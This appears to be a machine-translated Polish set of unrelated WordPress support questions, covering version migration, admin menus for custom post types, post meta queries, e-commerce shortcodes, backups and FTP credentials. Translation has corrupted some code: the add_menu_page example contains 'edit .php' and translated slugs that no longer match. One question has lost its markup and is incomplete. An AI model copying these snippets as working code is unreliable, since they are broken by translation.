text: Po pierwsze, jestem nowicjuszem w WordPressie, więc bądź delikatny! :) Krótko mówiąc, dostałem projekt w połowie lotu. Komputer programistyczny ma zainstalowany Wordpress 3.8.1 z Microsoft Webmatrix. W tym pudełku znajduje się zakupiony motyw z dostosowaniami i zawartością. Klient ma już wykupioną domenę i pakiet hostingowy od rozwiązań sieciowych. Rozwiązania sieciowe twierdzą, że używają Wordpress 3.5.1. Jeśli chodzi o wdrażanie z lokalnego do sieci Web w witrynie Network Solutions, czy napotkam poważne problemy związane z nowszą wersją witryny? Może jestem zbyt paranoiczny, ale nie chcę mówić mojemu programiście, aby kontynuował pracę na tej stronie, jeśli musimy wszystko rozwalić i wrócić do starszej wersji lub pracować całkowicie online w ramach Network Solutions. **AKTUALIZACJA: Network Solutions pozwala na aktualizację Wordpressa do najnowszej stabilnej wersji, co oznacza, że nie muszę się już o to martwić.**


title: Dodać menu najwyższego poziomu wskazujące inny niestandardowy typ posta?

text: Mam sytuację, w której chcę dodać drugie niestandardowe menu najwyższego poziomu dla niestandardowego typu postu. Tak więc, gdy mamy CPT o nazwie „owoce”, który rejestruje menu najwyższego poziomu z etykietą „Owoce”, kliknięcie „Owoce” przeniesie Cię do `edit.php?post_type=fruits`. Próbuję dodać osobne menu najwyższego poziomu z etykietą "Pomarańcze", a kiedy to kliknę, faktycznie przechodzi do `'edit.php?post_type=fruits&subtype=orange'`. Jednak podczas dodawania nowego menu link zawsze chce wskazywać na „admin.php”... jak mogę sprawić, aby wskazywał na powyższy adres URL edycji? edit: wydaje się, że to działa, nie jestem pewien, czy to najlepszy sposób, czy nie: wydaje się, że to załatwia sprawę, ale nie jestem pewien, czy to najlepszy sposób: add_menu_page('Pomarańcze', 'Pomarańcze', 'edit_posts', 'edit .php?post_type=owoce&subtype=pomarańcze', '');


title: Jak uzyskać post meta value i post w jednym zapytaniu?

text: Kiedy pytam o post, potrzebuję nie tylko postu, ale także post_meta. Ale wydaje się, że kwerendy post i meta kwerendy nie można wykonać razem. Dzięki WP_Query najpierw otrzymuję posty, a następnie muszę wykonać `get_post_meta(get_the_ID(),'key',true)` Czy tak działa WP? A może istnieje sposób na zapytanie obu w jednym trafieniu?


title: Wymuś motyw lub nie zezwalaj na zmianę motywu

text: Czy mogę wymusić motyw? Chodzi mi o to, że użytkownik nie może celowo lub przypadkowo zmienić motywu, który stworzyłem dla tej witryny. Chciałbym to zrobić z rdzenia, ponieważ chcę też zablokować wszystkie aktualizacje.


title: Integracja wtyczki WP E-commerce z niestandardowym motywem

text: Teraz bardzo się martwię, ponieważ nie widzę prawie NIC na temat integracji wtyczki WP Ecommerce GetShopped z niestandardowym motywem. Używam wszystkich niestandardowych stron szablonów i chciałbym używać skrótów do wyświetlania przedmiotów na sprzedaż, koszyka na zakupy, linków do kasy itp. Byłem na ich forum i nie mogę znaleźć niczego na temat używania z niestandardowym motywem. Ich dokumentacja to w ogóle niewiele. Udało mi się znaleźć tylko jeden przykład krótkiego kodu, którego mogę użyć, a mianowicie <?php echo do_shortcode( '[wpsc_products category_id="awesome"]' ); ?> To faktycznie działa dobrze i jestem w stanie pokazać dowolne przedmioty z kategorią "niesamowite". Ale to jest to! Nie mogę znaleźć innych skrótów. Na przykład koszyk na zakupy, kasa itp. Jednym z moich głównych problemów/potrzeb jest możliwość stworzenia niestandardowego przycisku (nie będącego częścią wtyczki), który sam zaprojektowałem, i aby klient został przeniesiony na stronę przedmiotów, po kliknięciu. Czy ktoś jest ekspertem od tej wtyczki lub zna jakieś miejsce, w którym mogę uzyskać pomoc? Fuj. Teraz bardzo się martwię, ponieważ buduję tę stronę, myśląc, że znacznie łatwiej będzie zintegrować tę wtyczkę z nią. Z góry dziękuję!


title: Rozbudowa nowego Media Uploader w WordPress 3.5

text: W obecnej wersji WordPressa dość łatwo jest rozszerzyć pola załączników za pomocą filtra `attachment_fields_to_edit`, ale w najnowszej wersji **WordPress 3.5 RC2** nie działa. Możemy go rozwinąć za pomocą niestandardowych pól meta, ale użycie tego wymaga edycji każdego załącznika w tb Media. Zastanawiałem się, czy możliwe jest rozwinięcie pól w **Szczegóły załącznika** w polu modalnym za pomocą Biblioteki multimediów http://i.imgur.com/GIsJj.png (przepraszam za link, ale nie mogę dodać obrazu, niewystarczająca reputacja ;)) Dziękuję za wszelką pomoc.


title: Wstaw opcję „wyświetl wszystko” na stronie wp navi

text: Czy mogę/jak mogę dodać funkcję view all do mojego wp-pagenavi? Na przykład: 1 2 3 >> Wyświetl wszystko >> Obecnie mam tylko 1 2 3 >>, ale chciałbym dać moim gościom opcję „Wyświetl wszystko”. Wszelka pomoc lub wskazówki dotyczące dokumentacji/samouczka itp. byłyby mile widziane. Pozdrawiam Neila


title: Wordpress nadpisuje UNC

text: Używam wordpress multisite. Podczas edytowania posta, dodawania linku do pliku w formacie UNC i kliknięcia Zapisz, wordpress usuwa literę dysku i dwukropek, zanim dane trafią do bazy danych. 'N:/plik.pdf' jest zapisywany jako '/plik.pdf'. Dotyczy to tylko użytkowników, którzy nie są superadministratorami sieci. Czy ktoś wie, co może być przyczyną takiego zachowania i jak mogę to zmienić?


title: Tworzenie kopii zapasowej starej wersji WP przed aktualizacją

text: Właśnie przejąłem witrynę działającą w wersji 3.3.1 i chciałbym wykonać kopię zapasową witryny i przenieść ją na lokalny host, aby móc przetestować proces aktualizacji lokalnie, aby upewnić się, że nic się nie zepsuje. Spojrzałem na BackWPup, ale wymaga WP 3.4, aby to zrobić. Spojrzałem też na BackUpWordPress, ale potrzebuje 3.3.3. Czy ktoś zna narzędzie, które utworzy kopię zapasową witryny działającej w wersji 3.3.1, czy też będę musiał to zrobić ręcznie?


title: WordPress usuwa niektóre atrybuty z postów autorów

text:
Dodałem szablon do moich postów WP, więc po kliknięciu Dodaj nową zawartość obszar już z tekstem. Szablon w ten sposób

Dodaj tutaj swój tekst

 Jeśli użytkownik ma role administratora lub redaktora, to działa świetnie, ale jeśli użytkownik ma identyfikatory roli autora, a ja mam

Dodaj tutaj swój tekst


title: WP Config dla danych logowania FTP

text: Czy w WP jest konfiguracja, która umożliwia przechowywanie poświadczeń FTP? Korzystam z serwera WWW Linuksa w pracy do programowania i naprawdę denerwujące jest to, że muszę mieć poświadczenia za każdym razem, gdy dodaję/usuwam wtyczkę/motyw. Dostęp anonimowy jest nie-nie, więc mam nadzieję, że ta konfiguracja istnieje... Dzięki.